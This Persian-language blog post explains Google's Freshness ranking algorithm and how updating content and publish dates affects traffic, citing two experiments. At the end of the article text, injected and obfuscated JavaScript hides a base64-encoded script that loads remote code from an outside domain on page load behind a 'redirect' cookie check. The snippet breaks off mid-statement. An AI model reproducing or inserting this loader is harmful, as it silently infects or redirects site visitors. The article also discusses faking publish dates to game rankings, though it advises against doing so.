بدون دیدگاه
2019/11/04
888 بازدید

الگوریتم Freshness گوگل چیست؟

گوگل، از الگوریتم های زیادی برای رتبه بندی سایت ها در لیست نتایج موتور جستجوی خود استفاده می کند. یکی از آنها، الگوریتم freshness گوگل نام دارد. همان طور که از اسمش پیداست، هدف این الگوریتم، نمایش تازه ترین و به روز ترین محتوا در صفحه نتایج جستجو است.

اما آیا این الگوریتم بر روی تمامی محتوا ها اعمال می شود؟ یا به عبارت دیگر، آیا به روز بودن تمام محتوا ها در اینترنت اهمیت دارد؟ و در نهایت این الگوریتم چه تاثیری در سئو سایت و کسب و کار شما خواهد داشت؟ … اینها سوالاتی است که در ادامه بررسی خواهیم کرد.

الگوریتم freshness گوگل چیست؟

در نوامبر سال 2011، گوگل الگوریتم freshness را معرفی کرد که به آپدیت به روز رسانی گوگل (google freshness Update) نیز معروف است.

ایده ی پشت این الگوریتم این بود که گوگل می خواست جدیدترین و به روز ترین محتواها را در صدر نتایج جستجو نشان دهد.

و اما، آیا الگوریتم freshness بر روی تمامی محتواها اعمال می شود؟

بعد از مدتی گوگل دریافت که لازم نیست تمامی محتوا های موجود در اینترنت به روز باشد.

گوگل به طور مرتب، الگوریتم هایی را با هدف بهبود نتایج جستجوی ارگانیک، منتشر می کند. الگوریتم freshness گوگل، به کاربران کمک می کند جدیدترین اطلاعات را پیدا کنند، بدون اینکه نیاز باشد اطلاعات قدیمی و منسوخ شده را مشاهده کنند.

برای مثال، مقاله ای راجع به چگونگی به حکومت رسیدن کوروش هخامنشی، نیازی به آپدیت ندارد. اما هنگامی که فردی می خواهد امتیازهای یک بازی را در گوگل جستجو کند، مسلماً نمی خواهد نتایج هفته گذشته را ببیند. بنابراین اطلاعات باید به روز باشند، اگر این اطلاعات به روز نباشند، پس اصلاً هدف از این مدل جستجو چیست؟

از همین جا می توان نتیجه گرفت که سایت هایی که رویداد محور و خبری هستند، بیشتر تحت تاثیر این الگوریتم قرار می گیرند.

چگونه سایتمان را برای الگوریتم freshness گوگل بهینه کنیم؟

الگوریتم freshness

خب، حتما برای شما هم این سوال پیش آمده که چه کارهایی لازم است انجام دهیم تا سایتمان برای الگوریتم freshness بهینه شود؟

اول از همه، باید این دو کار را انجام دهید:

  • محتوای جدید به صفحات وبسایت خود اضافه کنید
  • زمان انتشار مقاله را به روز رسانی کنید

باید بدانید که به روز رسانی یک پست وبلاگ، نرخ بازگشت سرمایه (ROI) بیشتری خواهد داشت نسبت به زمانی که شما یک محتوای جدید تولید کنید. پس اگر پست های وبلاگ شما در صفحه 2 گوگل است، به روز رسانی آنها و آوردن آنها به صفحه 1 گوگل، برای شما سودآور تر خواهد بود.

در حقیقت، اگر شما به تعداد مطلوبی پست در وبلاگتان رسیدید، بهترین استراتژی ROI، به روز رسانی و بهبود محتواهای فعلی وبلاگ شماست.

  مزایای استفاده از دو اتریبیوت جدید nofollow

چرا یک پست به روز شده، عملکرد بهتری در نتایج موتورهای جستجو دارد؟

پستی که به روز رسانی و آپدیت می شود، در واقع یا محتوای آن به روز شده است، یا تاریخ انتشار آن و یا هر دو.

لازم به ذکر است، زمانی که شما تاریخ انتشار یک پست وبلاگ را به روز رسانی می کنید، دو مکانیسم اتفاق می افتد:

  1. موتور جستجو: الگوریتم، تشخیص می دهد که محتوای صفحه سایت شما به روز رسانی شده است.
  2. رفتار کاربر: وقتی که کاربران نتایج را در سرپ (SERP) مشاهده می کنند، ناخود آگاه تمایل دارند روی نتایجی کلیک کنند که تاریخ جدیدتری به نسبت بقیه داشته باشد.

در وردپرس، شما می توانید به راحتی تاریخ انتشار پست را تغییر دهید. کافی است به صفحه پست مورد نظر بروید و روی ویرایش نوشته کلیک کنید، در قسمت بالای صفحه سمت چپ، اطلاعتی راجع به انتشار را می بینید.

نحوه به روز رسانی تاریخ انتشار برای الگوریتم freshness گوگل

چهارمین گزینه، تاریخ انتشار پست است که نوشته “منتشر شده در:”، با زدن دکمه ویرایش در زیر این عبارت، می توانید تاریخ را تغییر دهید. سپس دکمه قبول را زده و پست را به روز رسانی کنید.

توجه: برخی وبمستران، تاریخ انتشار پست هایشان را بدون اینکه محتوا را به روز رسانی کنند، تغییر می دهند. تجربه نشان می دهد که شما می توانید رتبه سایتتان را به راحتی و فقط با تغییر تاریخ انتشار پست، بهبود دهید. با این حال، من این کار را پیشنهاد نمی کنم، چرا که ممکن است گوگل تصور کند که شما قصد دارید او را بازی دهید.

 پیشنهاد من به شما: اگر می خواهید تاریخ انتشار پستتان را تغییر دهید، اطمینان حاصل کنید که حداقل 10 درصد، محتوای جدید به آن صفحه از سایتتان اضافه کرده باشید.

چگونه تاریخ آخرین به روز رسانی را نمایش دهیم؟

اگر می خواهید ابتدای پست هایتان تاریخ آخرین به روز رسانی به کاربران نمایش داده شود، ابتدا پلاگین “WP LAST Modified Info” ارائه شده توسط Syan Datta را دانلود و نصب کنید.

به محض اینکه فعال شد، این تنظیمات را انجام دهید:

نحوه نمایش تاریخ برای الگوریتم freshness

سپس به بخش Schema رفته و “Default Mode” را انتخاب کنید. این کار تضمین می کند که آخرین تاریخ به روز رسانی را در موتورهای جستجو نمایش دهد.

تنظیمات پلاگین برای الگوریتم freshness گوگل

سپس، هنگامی که یک پست را به روز رسانی می کنید، این شورت کد (shortcode) را در ابتدای مقاله خود قرار دهید.

نحوه قرار دادن shortcode برای الگوریتم freshness

اکنون این پلاگین،  تاریخ آخرین به روز رسانی را به پست یا مقاله شما اضافه می کند.

نمایش تاریخ به روز رسانی در ابتدای پست

الگوریتم Freshness گوگل به عنوان فاکتور رتبه بندی – دو آموزش پروژه محور

بیشتر مقالات مرتبط با بیزنس و کسب و کار، ممکن است شامل الگوریتم freshness گوگل نشود. ممکن است شما نیز تصور کنید که محتواهای مرتبط با بیزنس، ممکن است به این الگوریتم حساس نباشند.

  راه های بهبود رتبه الکسا

اما دو آموزش پروژه محور که در زیر به آنها اشاره می کنیم کاملا خلاف آن را ثابت کرده است.

آزمایش پروژه محور 1

در اولین آزمایش پروژه محور (منتشر شده در MOZ)، آنتونی نلسون، مشاور سئو در NorthsideSEO، یک آزمایش جهت اندازه گیری تاثیر تغییر تاریخ انتشار بدون آپدیت محتوا، راه اندازی کرد.

این آزمایش به منظور اندازه گیری الگوریتم freshness گوگل در آوریل سال 2015 انجام شده بود.

نلسون، این تست را بر روی 16 پست وبلاگ انجام داد که حداقل برای یک سال قدمت داشتند.

ویژگی های کلیدی این پست ها عبارت بودند از:

  • پست های بلاگ در 17 آوریل دوباره به روز رسانی شدند و تاریخ انتشار آنها به 15 آوریل یا 16 آوریل تغییر یافت.
  • محتوای این پست ها ادیت نشدند و به طور کلی تغییر داده نشدند.
  • عنوان ها کاملا سئو فرندلی و همیشه سبز (evergreen) بودند.
  • هیچ یک از این پست ها به قصد، در شبکه های اجتماعی انتشار داده نشدند.
  • برای هیچ یک از پست ها، در طول مدت این آزمایش، بک لینک ساخته نشد.
  • تاریخ انتشار هر یک از پست ها، بر روی صفحه نمایش داده می شد.

این ترافیکی بود که هر یک از پست های بلاگ، در 4 هفته گذشته قبل از به روز رسانی داشتند.

ترافیک سایت قبل از به روز رسانی تاریخ انتشار

و این یکی، ترافیکی بود که هر یک از پست ها در این چهار هفته بعد از به روز رسانی داشتند.

ترافیک سایت بعد از به روز رسانی تاریخ انتشار

به عنوان یک گروه، این 16 پست وبلاگ، بعد از به روز رسانی تاریخ انتشار، 66% افزایش ترافیک داشتند.

یکی از پستها، 663% ، افزایش ترافیک داشت.

به احتمال زیاد، دو فاکتور در افزایش ترافیک نقش داشتند:

  • زمانی که تاریخ پست ها به روز رسانی شدند، پست های بلاگ، بار دیگر در صفحه اصلی وبسایت نمایش داده شدند. در نتیجه علاوه بر اینکه بیشتر در معرض دید کاربران بودند، Link juice یا همان ارزشی که از صفحه اصلی می گرفتند، به شدت افزایش یافت.
  • زمانی که جستجو کنندگان در نتایج جستجو، تاریخ انتشار اخیر را مشاهده کردند، باعث شد تا بیشتر روی آن کلیک کنند و در نتیجه نرخ کلیک یا همان (CTR) افزایش یافت.

اولین چیزی که نظر من را به خود جلب کرد این بود که چطور الگوریتم freshness گوگل نتوانست تشخیص دهد که این همان محتوای قدیمی با تاریخ جدید است؟

اما وقتی با دقت بیشتری به آدو فاکتوری که باعث افزایش ترافیک بیشتر می شود، بنگریم، می بینیم که این مسئله از محدوده کنترل الگوریتم های گوگل خارج شده و از فرا تر می رود.

  TF-IDF چیست و چطور فراوانی وزنی کلمه کلیدی، برای سئو استفاده می شود؟

فاکتور (1) نتیجه پرش پست وبلاگ به ابتدای صفحه اصلی (و دریافت دوز جدیدی از ارزش لینک) و فاکتور (2) در نتیجه ی کلیک جستجوگرها بر روی لینک هایی بود که تاریخ انتشار جدیدتری داشتند.

موتورهای جستجو بین این دو تمایز قائل می شوند، به همین دلیل شما باید یکی را انتخاب کنید و همیشه با آن پیش بروید.

آزمایش پروژه محور 2

گائل برتون (Gael Breton) نیز آزمایش مشابهی انجام داد.

او از پلاگینی که ابتدای مقاله به آن اشاره کردم استفاده کرد برای اینکه تاریخ انتشار اصلی را با تاریخ انتشار جدید مقاله جایگزین کند.

در یکی از پست هایی که دوباره منتشر شده بود، ترافیک ارگانیک بیش از 50% افزایش یافت؛ فقط به خاطر اینکه تاریخ انتشار پست تغییر یافته بود.

این اتقاقی است که برای ترافیک هریک از سایت ها افتاد قبل و بعد از آزمایش:

آزمایش الگوریتم freshness گوگل

گائل برتون این تغییر را بر عهده الگوریتم freshness google گذاشت. از نظر من بیشتر شبیه دو فاکتوری است که بالا به آن اشاره کردم:

  • افزایش لینک جوس (link juice) که از صفحه اصلی می آید.
  • نرخ کلیک بیشتر توسط جستجو کنندگان برای اینکه تاریخ جدید را می دیدند.

هر چه که باشد، یک بعد دیگر وجود دارد و آن هم این است ک تغییر تاریخ به تنهایی می تواند ترافیک سایت شما را مقدار قابل توجهی افزایش دهد.

نکته ای که راجع به تست گائل برتون جالب است، این است که در اوایل 2019 انجام شده است.

به عبارت دیگر، تکنیکی که آنتونی نلسون در 2015 انجام داد، هنوز هم کار می کند.

نتیجه گیری

با معرفی الگوریتم Freshness، گوگل تعصب بیشتری بر روی محتوای تازه دارد. اما این موضوع  بر روی دسته بندی های خاص بیشتر از بقیه اعمال می شود.

اما چنان چه این دو آزمایش نشان می دهد، حتی محتوای همیشه سبز نیز می تواند با یک آپدیت و به روز رسانی تاریخ، رشد قابل توجهی در ترافیک پیدا کند.

در این دو آزمایش پروژه محور، تمام چیزی که تغییر کرده بود، تاریخ انتشار پست های بلاگ بود. در هر دو آزمایش، در هفته ی بعد از آپدیت، پست ها بیش از 50% رشد ترافیک داشتند.

با این حال، با این که این یک راه آسان و سریع برای افزایش ترافیک سایت است، بدون اینکه محتوای سایت را آپدیت کنید، توصیه نمی شود.

امیدواریم این مقاله راجع به الگوریتم freshness گوگل برایتان مفید بوده باشد، اگر سوال یا مشکلی در این زمینه داشتید، در انتهای مقاله برایمان کامنت بگذارید.{var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

*
*